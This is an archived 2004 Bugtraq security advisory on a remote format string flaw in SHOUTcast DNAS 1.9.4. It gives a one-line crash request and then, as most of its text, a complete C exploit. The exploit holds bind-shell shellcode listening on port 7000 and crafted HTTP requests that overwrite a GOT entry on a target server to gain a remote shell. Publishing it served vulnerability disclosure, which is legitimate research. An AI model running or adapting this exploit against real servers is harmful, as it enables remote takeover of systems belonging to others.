SHOUTcast remote format string vulnerability

From: Damian Put (pucik_at_cc-team.org)
Date: 12/23/04

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    Date: Thu, 23 Dec 2004 19:24:04 +0100
    To: bugtraq@securityfocus.com
    
    

    Product: SHOUTcast v1.9.4 (and older?)
    Vendor: http://www.shoutcast.com
    Vuln: Remote format string
    BugFinder: Tomasz Trojanowski (onestep)
    Author: Damian Put <pucik@cc-team.org> www.CC-Team.org
    Date: Dec 23, 2004

    1. BACKGROUND

    "SHOUTcast is Nullsoft's Free Winamp-based distributed streaming audio
    system. Thousands of broadcasters around the world are waiting for you to
    tune in and listen"

    2. DESCRIPTION

    Remote exploitation of a format string vulnerability could allow execution
    of arbitrary code.

    A part of request, which was sent by attacker to server, would be included
    in second arg of sprintf() function (0x0804adc3 in linux binary). It is
    obviously not good from a security viewpoint. We can crash SHOUTcast in a
    very easy way, using following request:

    http://host:8000/content/%n.mp3

    Or reach remote shell thanks to attached exploit`s code.

    3. CREDIT

    Special thanks:
    Tomasz Trojanowski for information about vulnerability

    4. EXPLOIT

    /* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */
    /* Damian Put <pucik@cc-team.org> Cyber-Crime Team (www.CC-Team.org) */
    /* Tested on slackware 9.1 and 10.0 (0xbf3feee0) */
    /* When exploit only crash SHOUTcast we should calculate new address: */
    /* */
    /* bash-2.05b$ gdb sc_serv core */
    /* ... */
    /* (gdb) x/x $edi */
    /* 0xbe462270: 0x78257825 */
    /* (gdb) x/x 0xbe462270-996 */
    /* 0xbe461e8c: 0x5050c031 */
    /* */
    /* 0xbe461e8c - This is our shellcode addr */
    /* */
    /* Now we "only" must change format string code in req2 :-) */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/errno.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
     
    /* Default SHOUTcast port */
    #define PORT 8000
       
    char shellcode[] = //bindshellcode (port 7000)
          "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
          "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
          "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
          "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
          "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
          "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
          "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
          "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
       
    int main(int argc, char *argv[])
    {
          int sock;
          char *host;
          struct hostent *h;
          struct sockaddr_in dest;
          
          char req1[1024] = "GET /content/AA"
          /* sprintf GOT addr */
          "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";
          
          strcat(req1, shellcode);
          strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
          
          /* We cannot use %numberx and %number$n (filtered) */
          /* 0xbf3feee0 - shellcode addr on slackware 9.1 */
          char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"
          " HTTP/1.0\r\n\r\n";
          
          
          printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.org\n");
          if(argc < 2)
          {
                printf("Usage: %s <host>\n", argv[0]);
                exit(0);
          }
          
          host = argv[1];
          
          if(!(h = gethostbyname(host)))
          {
                fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));
                exit(-1);
          }

          sock = socket(PF_INET, SOCK_STREAM, 0);
          
          dest.sin_addr=*((struct in_addr*)h->h_addr);
          dest.sin_family = PF_INET;
          dest.sin_port = htons(PORT);
          
          if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
          {
                fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
                exit(-1);
          }
          
          printf("[*] Sending first request ...\n");
          write(sock, req1, strlen(req1));
          
          close(sock);
          
          sock = socket(PF_INET, SOCK_STREAM, 0);
          
          if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
          {
                fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
                exit(-1);
          }
          
          printf("[*] Sending second request ...\n");
          write(sock, req2, strlen(req2));

          close(sock);
          
          printf("[*] Try telnet %s 7000 :)\n", host);
          
          return 0;
    }


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